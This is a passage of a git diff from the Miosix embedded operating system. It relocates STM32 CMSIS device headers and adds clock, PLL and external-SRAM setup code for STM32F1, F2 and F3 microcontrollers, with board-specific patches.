+ RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | pllxtpre | pllmull); +#endif /* STM32F10X_CL */ + + //By TFT + if(miosix::oscillatorType==miosix::OscillatorType::HSI) RCC->CFGR &= ~RCC_CFGR_PLLSRC; + + /* Enable PLL */ + RCC->CR |= RCC_CR_PLLON; + + /* Wait till PLL is ready */ + while((RCC->CR & RCC_CR_PLLRDY) == 0) + { + } + + /* Select PLL as system clock source */ + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; + + /* Wait till PLL is used as system clock source */ + while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) + { + } +} + +/** + * @brief Setup the external memory controller. Called in startup_stm32f10x.s + * before jump to __main + * @param None + * @retval None + */ +#ifdef DATA_IN_ExtSRAM +/** + * @brief Setup the external memory controller. + * Called in startup_stm32f10x_xx.s/.c before jump to main. + * This function configures the external SRAM mounted on STM3210E-EVAL + * board (STM32 High density devices). This SRAM will be used as program + * data memory (including heap and stack). + * @param None + * @retval None + */ +void SystemInit_ExtMemCtl(void) +{ +/*!< FSMC Bank1 NOR/SRAM3 is used for the STM3210E-EVAL, if another Bank is + required, then adjust the Register Addresses */ + + /* Enable FSMC clock */ + RCC->AHBENR = 0x00000114; + RCC_SYNC(); + /* Enable GPIOD, GPIOE, GPIOF and GPIOG clocks */ + RCC->APB2ENR = 0x000001E0; + RCC_SYNC(); +/* --------------- SRAM Data lines, NOE and NWE configuration ---------------*/ +/*---------------- SRAM Address lines configuration -------------------------*/ +/*---------------- NOE and NWE configuration --------------------------------*/ +/*---------------- NE3 configuration ----------------------------------------*/ +/*---------------- NBL0, NBL1 configuration ---------------------------------*/ + + GPIOD->CRL = 0x44BB44BB; + GPIOD->CRH = 0xBBBBBBBB; + + GPIOE->CRL = 0xB44444BB; + GPIOE->CRH = 0xBBBBBBBB; + + GPIOF->CRL = 0x44BBBBBB; + GPIOF->CRH = 0xBBBB4444; + + GPIOG->CRL = 0x44BBBBBB; + //Bug fixed by TFT: PG12 is connected to /CS of the display, and lacks a + //pull-up, so it must be asserted high to avoid a conflict on the data lines + //GPIOG->CRH = 0x44444B44; + GPIOG->CRH = 0x444B4B44; + GPIOG->BSRR = GPIO_BSRR_BS12; + +/*---------------- FSMC Configuration ---------------------------------------*/ +/*---------------- Enable FSMC Bank1_SRAM Bank ------------------------------*/ + + FSMC_Bank1->BTCR[4] = 0x00001011; + FSMC_Bank1->BTCR[5] = 0x00000200; + + //By TFT: If using is62wv51216bll (low power RAM, 55ns access time) + //instead of is61wv51216bll (10ns fast RAM) use these settings + //read still takes 6 cycles, but write takes 5 cycles + //(yes, the way the FSMC registers are defined in stm32f10x.h sucks...) + //FSMC_Bank1->BTCR[4] = 0x00005011;//This is BCR3 + //FSMC_Bank1->BTCR[5] = 0x00000200;//This is BTR3 + //FSMC_Bank1E->BWTR[4] = 0x00000300;//This is BWTR3 +} +#endif /* DATA_IN_ExtSRAM */ + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ +/******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F1xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32F1xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F1xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32F1xx/miosix_patches.patch diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f205xx.h b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f205xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f205xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f205xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f207xx.h b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f207xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f207xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f207xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f215xx.h b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f215xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f215xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f215xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f217xx.h b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f217xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f217xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f217xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/License.md b/miosix/arch/CMSIS/Device/ST/STM32F2xx/License.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/License.md rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/License.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.cpp new file mode 100644 index 000000000..84ec013cd --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.cpp @@ -0,0 +1,471 @@ +/** + ****************************************************************************** + * @file system_stm32f2xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M3 Device Peripheral Access Layer System Source File. + * + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32f2xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + ****************************************************************************** + * @attention + * + *

© Copyright (c) 2016 STMicroelectronics. + * All rights reserved.

+ * + * This software component is licensed by ST under BSD 3-Clause license, + * the "License"; You may not use this file except in compliance with the + * License. You may obtain a copy of the License at: + * opensource.org/licenses/BSD-3-Clause + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32f2xx_system + * @{ + */ + +/** @addtogroup STM32F2xx_System_Private_Includes + * @{ + */ + +//By TFT: was #include "stm32f4xx_hal.h", but the specific chip is #defined in +//arch_registers_impl.h +#include "board_settings.h" +#include "interfaces/arch_registers.h" +//By TFT: was in the old stm32f4xx.h +#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) + +#if !defined (HSI_VALUE) + #define HSI_VALUE ((uint32_t)16000000) /*!< Value of the Internal oscillator in Hz*/ +#endif /* HSI_VALUE */ + +/** + * @} + */ + +/** @addtogroup STM32F2xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F2xx_System_Private_Defines + * @{ + */ +/************************* Miscellaneous Configuration ************************/ +/*!< Uncomment the following line if you need to use external SRAM mounted + on STM322xG_EVAL board as data memory */ +//By TFT: Miosix uses the __ENABLE_XRAM macro to tell the startup code it wants XRAM +//additionally, other boards may have the RAM connected in other ways, so +//use this code only for the STM3220G_EVAL +#if defined(__ENABLE_XRAM) && defined(_BOARD_STM3220G_EVAL) +#define DATA_IN_ExtSRAM +#endif //__ENABLE_XRAM + +/* Note: Following vector table addresses must be defined in line with linker + configuration. */ +/*!< Uncomment the following line if you need to relocate the vector table + anywhere in Flash or Sram, else the vector table is kept at the automatic + remap of boot address selected */ +/* #define USER_VECT_TAB_ADDRESS */ + +#if defined(USER_VECT_TAB_ADDRESS) +/*!< Uncomment the following line if you need to relocate your vector Table + in Sram else user remap will be done in Flash. */ +/* #define VECT_TAB_SRAM */ +#if defined(VECT_TAB_SRAM) +#define VECT_TAB_BASE_ADDRESS SRAM_BASE /*!< Vector Table base address field. + This value must be a multiple of 0x200. */ +#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +#else +#define VECT_TAB_BASE_ADDRESS FLASH_BASE /*!< Vector Table base address field. + This value must be a multiple of 0x200. */ +#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +#endif /* VECT_TAB_SRAM */ +#endif /* USER_VECT_TAB_ADDRESS */ + +//By TFT -- begin +// the smartwatch has a bootloader +#ifdef _BOARD_SONY_NEWMAN +#define USER_VECT_TAB_ADDRESS +#define VECT_TAB_BASE_ADDRESS FLASH_BASE +#define VECT_TAB_OFFSET 0x40000 +#endif //_BOARD_SONY_NEWMAN +//By TFT -- end + +/******************************************************************************/ + +/** + * @} + */ + +/** @addtogroup STM32F2xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F2xx_System_Private_Variables + * @{ + */ + +/* This variable can be updated in Three ways : + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. +*/ +uint32_t SystemCoreClock = miosix::cpuFrequency; +const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; +const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; +/** + * @} + */ + +/** @addtogroup STM32F2xx_System_Private_FunctionPrototypes + * @{ + */ + +static void SetSysClock(void); +#ifdef DATA_IN_ExtSRAM + static void SystemInit_ExtMemCtl(void); +#endif /* DATA_IN_ExtSRAM */ + +/** + * @} + */ + +/** @addtogroup STM32F2xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system + * Initialize the Embedded Flash Interface, the PLL and update the + * SystemFrequency variable. + * @param None + * @retval None + */ +void SystemInit(void) +{ +#ifdef DATA_IN_ExtSRAM + SystemInit_ExtMemCtl(); +#endif /* DATA_IN_ExtSRAM */ + + /* Configure the System clock source, PLL Multiplier and Divider factors, + AHB/APBx prescalers and Flash settings ----------------------------------*/ + SetSysClock(); + + /* Configure the Vector Table location -------------------------------------*/ +#if defined(USER_VECT_TAB_ADDRESS) + SCB->VTOR = VECT_TAB_BASE_ADDRESS | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ +#endif /* USER_VECT_TAB_ADDRESS */ +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) + * or HSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) HSI_VALUE is a constant defined in stm32f2xx_hal_conf.h file (default value + * 16 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSE_VALUE is a constant defined in stm32f2xx_hal_conf.h file (its value + * depends on the application requirements), user has to ensure that HSE_VALUE + * is same as the real frequency of the crystal used. Otherwise, this function + * may have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate(void) +{ + uint32_t tmp = 0, pllvco = 0, pllp = 2, pllsource = 0, pllm = 2; + + /* Get SYSCLK source -------------------------------------------------------*/ + tmp = RCC->CFGR & RCC_CFGR_SWS; + + switch (tmp) + { + case 0x00: /* HSI used as system clock source */ + SystemCoreClock = HSI_VALUE; + break; + case 0x04: /* HSE used as system clock source */ + SystemCoreClock = miosix::hseFrequency; + break; + case 0x08: /* PLL used as system clock source */ + + /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N + SYSCLK = PLL_VCO / PLL_P + */ + pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC) >> 22; + pllm = RCC->PLLCFGR & RCC_PLLCFGR_PLLM; + + if (pllsource != 0) + { + /* HSE used as PLL clock source */ + pllvco = (miosix::hseFrequency / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); + } + else + { + /* HSI used as PLL clock source */ + pllvco = (HSI_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); + } + + pllp = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLP) >>16) + 1 ) *2; + SystemCoreClock = pllvco/pllp; + break; + default: + SystemCoreClock = HSI_VALUE; + break; + } + /* Compute HCLK frequency --------------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; + /* HCLK frequency */ + SystemCoreClock >>= tmp; +} + +//By TFT -- begin +// this was backported from an older version. Now this code seems to be +// moved in a function called HAL_something... +/** + * @brief Configures the System clock source, PLL Multiplier and Divider factors, + * AHB/APBx prescalers and Flash settings + * @Note This function should be called only once the RCC clock configuration + * is reset to the default reset state (done in SystemInit() function). + * @param None + * @retval None + */ +static void SetSysClock(void) +{ +/******************************************************************************/ +/* PLL (clocked by HSE) used as System clock source */ +/******************************************************************************/ + uint32_t StartUpCounter = 0, HSEStatus = 0; + + //By TFT -- begin + // this was backported from an older version. Now this code seems to be + // moved in a function called HAL_something... + /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N */ + /* SYSCLK = PLL_VCO / PLL_P */ + /* USB OTG FS, SDIO and RNG Clock = PLL_VCO / PLLQ */ + static_assert(miosix::oscillatorType==miosix::OscillatorType::HSE, + "Unsupported oscillator type"); + constexpr unsigned int PLL_M=miosix::hseFrequency/1000000; + static_assert(miosix::cpuFrequency==120000000, + "Unsupported sysclk frequency"); + constexpr unsigned int PLL_N=240; + constexpr unsigned int PLL_P=2; + constexpr unsigned int PLL_Q=5; + //By TFT -- end + + /* Enable HSE */ + RCC->CR |= ((uint32_t)RCC_CR_HSEON); + + /* Wait till HSE is ready and if Time out is reached exit */ + do + { + HSEStatus = RCC->CR & RCC_CR_HSERDY; + StartUpCounter++; + } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); + + if ((RCC->CR & RCC_CR_HSERDY) != RESET) + { + HSEStatus = (uint32_t)0x01; + } + else + { + HSEStatus = (uint32_t)0x00; + } + + if (HSEStatus == (uint32_t)0x01) + { + #ifdef _BOARD_SONY_NEWMAN + //By TFT: We don't know how the clock is configured by the bootloader, + //so better switch to the HSE and disable the PLL. + unsigned int temp=RCC->CFGR; + temp &= ~RCC_CFGR_SW; /* Clear SW[1:0] bits */ + temp |= RCC_CFGR_SW_0; /* Enable HSE as system clock */ + RCC->CFGR=temp; + while((RCC->CFGR & RCC_CFGR_SWS)!=RCC_CFGR_SWS_0) ; + RCC->CR &= ~ RCC_CR_PLLON; + #endif //_BOARD_SONY_NEWMAN + + /* HCLK = SYSCLK / 1*/ + RCC->CFGR |= RCC_CFGR_HPRE_DIV1; + + /* PCLK2 = HCLK / 2*/ + RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; + + /* PCLK1 = HCLK / 4*/ + RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; + + /* Configure the main PLL */ + RCC->PLLCFGR = PLL_M | (PLL_N << 6) | (((PLL_P >> 1) -1) << 16) | + (RCC_PLLCFGR_PLLSRC_HSE) | (PLL_Q << 24); + + /* Enable the main PLL */ + RCC->CR |= RCC_CR_PLLON; + + /* Wait till the main PLL is ready */ + while((RCC->CR & RCC_CR_PLLRDY) == 0) + { + } + + /* Configure Flash prefetch, Instruction cache, Data cache and wait state */ +#ifndef _BOARD_SONY_NEWMAN + FLASH->ACR = FLASH_ACR_PRFTEN | FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_3WS; +#else //_BOARD_SONY_NEWMAN + //By TFT: Three wait states seem to make it unstable (crashing) when CPU load is high + FLASH->ACR = FLASH_ACR_PRFTEN | FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_7WS; +#endif //_BOARD_SONY_NEWMAN + + /* Select the main PLL as system clock source */ + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; + + /* Wait till the main PLL is used as system clock source */ + while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS ) != RCC_CFGR_SWS_PLL) + { + } + } + else + { /* If HSE fails to start-up, the application will have wrong clock + configuration. User can add here some code to deal with this error */ + } + +} +// By TFT -- end + +#ifdef DATA_IN_ExtSRAM +/** + * @brief Setup the external memory controller. + * Called in startup_stm32f2xx.s before jump to main. + * This function configures the external SRAM mounted on STM322xG_EVAL board + * This SRAM will be used as program data memory (including heap and stack). + * @param None + * @retval None + */ +void SystemInit_ExtMemCtl(void) +{ +/*-- GPIOs Configuration -----------------------------------------------------*/ + /* Enable GPIOD, GPIOE, GPIOF and GPIOG interface clock */ + RCC->AHB1ENR |= 0x00000078; + RCC_SYNC(); + + /* Connect PDx pins to FSMC Alternate function */ + GPIOD->AFR[0] = 0x00CCC0CC; + GPIOD->AFR[1] = 0xCCCCCCCC; + /* Configure PDx pins in Alternate function mode */ + GPIOD->MODER = 0xAAAA0A8A; + /* Configure PDx pins speed to 100 MHz */ + GPIOD->OSPEEDR = 0xFFFF0FCF; + /* Configure PDx pins Output type to push-pull */ + GPIOD->OTYPER = 0x00000000; + /* No pull-up, pull-down for PDx pins */ + GPIOD->PUPDR = 0x00000000; + + /* Connect PEx pins to FSMC Alternate function */ + GPIOE->AFR[0] = 0xC00CC0CC; + GPIOE->AFR[1] = 0xCCCCCCCC; + /* Configure PEx pins in Alternate function mode */ + GPIOE->MODER = 0xAAAA828A; + /* Configure PEx pins speed to 100 MHz */ + GPIOE->OSPEEDR = 0xFFFFC3CF; + /* Configure PEx pins Output type to push-pull */ + GPIOE->OTYPER = 0x00000000; + /* No pull-up, pull-down for PEx pins */ + GPIOE->PUPDR = 0x00000000; + + /* Connect PFx pins to FSMC Alternate function */ + GPIOF->AFR[0] = 0x00CCCCCC; + GPIOF->AFR[1] = 0xCCCC0000; + /* Configure PFx pins in Alternate function mode */ + GPIOF->MODER = 0xAA000AAA; + /* Configure PFx pins speed to 100 MHz */ + GPIOF->OSPEEDR = 0xFF000FFF; + /* Configure PFx pins Output type to push-pull */ + GPIOF->OTYPER = 0x00000000; + /* No pull-up, pull-down for PFx pins */ + GPIOF->PUPDR = 0x00000000; + + /* Connect PGx pins to FSMC Alternate function */ + GPIOG->AFR[0] = 0x00CCCCCC; + GPIOG->AFR[1] = 0x000000C0; + /* Configure PGx pins in Alternate function mode */ + GPIOG->MODER = 0x00085AAA; + /* Configure PGx pins speed to 100 MHz */ + GPIOG->OSPEEDR = 0x000CAFFF; + /* Configure PGx pins Output type to push-pull */ + GPIOG->OTYPER = 0x00000000; + /* No pull-up, pull-down for PGx pins */ + GPIOG->PUPDR = 0x00000000; + +/*--FSMC Configuration -------------------------------------------------------*/ + /* Enable the FSMC interface clock */ + RCC->AHB3ENR |= 0x00000001; + RCC_SYNC(); + /* Configure and enable Bank1_SRAM2 */ + FSMC_Bank1->BTCR[2] = 0x00001011; + FSMC_Bank1->BTCR[3] = 0x00000201; + FSMC_Bank1E->BWTR[2] = 0x0FFFFFFF; +} +#endif /* DATA_IN_ExtSRAM */ + + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32F2xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F2xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32F2xx/miosix_patches.patch diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f301x8.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f301x8.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f301x8.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f301x8.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f302x8.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f302x8.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f302x8.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f302x8.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xc.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xc.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xc.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xe.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xe.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xe.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f302xe.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f303x8.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f303x8.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f303x8.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f303x8.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xc.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xc.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xc.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xe.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xe.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xe.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f303xe.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f318xx.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f318xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f318xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f318xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f328xx.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f328xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f328xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f328xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f334x8.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f334x8.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f334x8.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f334x8.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f358xx.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f358xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f358xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f358xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f373xc.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f373xc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f373xc.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f373xc.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f378xx.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f378xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f378xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f378xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f398xx.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f398xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f398xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f398xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f3xx.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f3xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/stm32f3xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/stm32f3xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/system_stm32f3xx.h b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/system_stm32f3xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Include/system_stm32f3xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Include/system_stm32f3xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32F3xx/LICENSE.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/LICENSE.md rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/LICENSE.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32F3xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.cpp new file mode 100644 index 000000000..3542d8892 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.cpp @@ -0,0 +1,430 @@ +// +// NOTE: this file contains some modifications by Silvano Seva (silseva) to make +// available system clock frequencies greater than 8MHz +// + +/** + ****************************************************************************** + * @file system_stm32f3xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M4 Device Peripheral Access Layer System Source File. + * + * 1. This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32f3xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * 2. After each device reset the HSI (8 MHz) is used as system clock source. + * Then SystemInit() function is called, in "startup_stm32f3xx.s" file, to + * configure the system clock before to branch to main program. + * + * 3. This file configures the system clock as follows: + *============================================================================= + * Supported STM32F3xx device + *----------------------------------------------------------------------------- + * System Clock source | HSI + *----------------------------------------------------------------------------- + * SYSCLK(Hz) | 8000000 + *----------------------------------------------------------------------------- + * HCLK(Hz) | 8000000 + *----------------------------------------------------------------------------- + * AHB Prescaler | 1 + *----------------------------------------------------------------------------- + * APB2 Prescaler | 1 + *----------------------------------------------------------------------------- + * APB1 Prescaler | 1 + *----------------------------------------------------------------------------- + * USB Clock | DISABLE + *----------------------------------------------------------------------------- + *============================================================================= + ****************************************************************************** + * @attention + * + *

